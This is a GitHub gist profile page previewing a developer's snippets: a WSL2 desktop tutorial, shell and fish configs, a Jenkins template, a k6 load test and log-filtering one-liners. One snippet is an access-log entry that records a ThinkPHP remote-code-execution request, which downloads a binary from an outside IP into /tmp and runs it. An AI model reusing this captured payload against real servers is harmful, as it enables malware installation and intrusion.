Skip to content

Instantly share code, notes, and snippets.

View boynoiz's full-sized avatar

Pathompong Pechkongtong boynoiz

View GitHub Profile
@boynoiz
boynoiz / WSL2GUIWSLg-XWayland-en.md
Created December 1, 2025 17:23 — forked from tdcosta100/WSL2GUIWSLg-XWayland-en.md
A tutorial to use GUI in WSL2/WSLg replacing original Xorg by Xwayland, allowing WSL to work like native Linux, including login screen

Full desktop shell in WSL2 using WSLg (XWayland)

Note

If you want to use Wayland in WSLg in a simpler setup, you can try the WSLg (Wayland) tutorial.

In this tutorial, we will setup GUI in WSL2. No additional software outside WSL (like VcXsrv or GWSL) is required. You will find this tutorial very similar to the one that replaces Xorg with Xvnc. Indeed, it's pretty much the same tutorial, with some few changes.

The key component we need to install is the desktop metapackage you want (GNOME, KDE, Xfce, Budgie, etc), and after that, replace the default Xorg by a script that calls Xwayland instead.

For this setup, I will use Ubuntu 24.04, and install GNOME Desktop. Unfortunately older versions of Ubuntu lack some fundamental things, so we cannot reproduce it in older versions (at least not fully). Since the key components aren't bound to Ubuntu or GNOME, you can use your favorite distro and GUI. Check the [Sample screenshot

package main
import (
"bytes"
"fmt"
"gopkg.in/yaml.v3"
"log"
"os"
"os/exec"
"path/filepath"
@boynoiz
boynoiz / email-html-custom.template.groovy
Created January 29, 2021 07:19
Custom Jenkins Email Template
<!DOCTYPE html>
<html lang="en">
<head>
<title>Jenkins build report</title>
<style type="text/css">
body, table, td, th, p {
font-family: Calibri, Verdana, Helvetica, sans serif;
font-size: 12px;
color: black;
}
@boynoiz
boynoiz / config.fish
Last active February 15, 2023 12:24
My fish
#set PATH
set PATH $HOME/bin $HOME/.local/bin /usr/local/bin /usr/share /usr/local/go/bin $GOPATH/bin $PATH
#encoding
set LANG en_US.UTF-8
set LANGUAGE en_US.UTF-8
set LC_ALL en_US.UTF-8
set LC_MESSAGES en_US.UTF-8
# Load all function
@boynoiz
boynoiz / profile.json
Created July 14, 2019 05:47 — forked from fcharlie/profile.json
My Windows Terminal profile.json
{
"defaultProfile": "{410aa365-68e4-4a68-83f5-6139ccb43b0a}",
"initialRows": 30,
"initialCols": 120,
"alwaysShowTabs": true,
"showTerminalTitleInTitlebar": true,
"experimental_showTabsInTitlebar": true,
"profiles": [
{
"startingDirectory": "C:\\Users\\$Username",
#!/bin/bash
set -e
function help() {
cat << EOF >&2
Usage : ./smooth_del.sh <dir> <ext> <day(s)> <quiet (optional)>
<dir> : The path of directory eg. /var/log/something_log/
<ext> : The extension of file to delete eg. jpg
<day(s)> : Amount number of the day eg. 14 mean 2 weeks
{
"@timestamp": "2019-04-08T10:59:35+07:00",
"@fields": {
"remote_addr": "138.68.17.41",
"remote_user": "-",
"status": "404",
"request": "GET /public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi HTTP/1.1",
"request_uri": "/public/index.php?s=/index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=cd%20/tmp;wget%20http://185.244.25.168/shenzi.x86;cat%20shenzi.x86%20%3E%20shenzi;chmod%20777%20shenzi;./shenzi",
"request_method": "GET",
"request_time": "0.000",
import http from "k6/http";
import { check } from "k6";
import { Trend, Rate, Counter, Gauge } from "k6/metrics";
export let TrendRTT = new Trend("RTT");
export let RateContentOK = new Rate("ContentOK");
export let TrackRate = new Rate("TrackRate");
export let GaugeContentSize = new Gauge("ContentSize");
export let GaugeResponseTime = new Gauge("ResponseTime");
export let CounterErrors = new Counter("Errors");
@boynoiz
boynoiz / logFilter.sh
Last active March 28, 2019 07:31
Log filter with awk
awk 'match($1,/RequestTime:([0-9]+)/, arr) && arr[1] > 2000 && $6 >= "[27/Mar/2019:09:00:00" && $6 < "[27/Mar/2019:23:59:00" && !/web_service|.ico|.svg|.png|.jpg|.jpeg|.css|.js|.gif|.woff2|:0m/' input.log > output.log
#!/bin/sh
ps -ylC apache2 --sort:rss | awk '{ s += $8; } END { print "Average Size:", s/(NR-1)/1024, "MB,", NR-1, "Processes, Total usage:", (s/(NR-1)/1024)*(NR-1), "MB, Max Servers:", 6500/(s/(NR-1)/1024) }'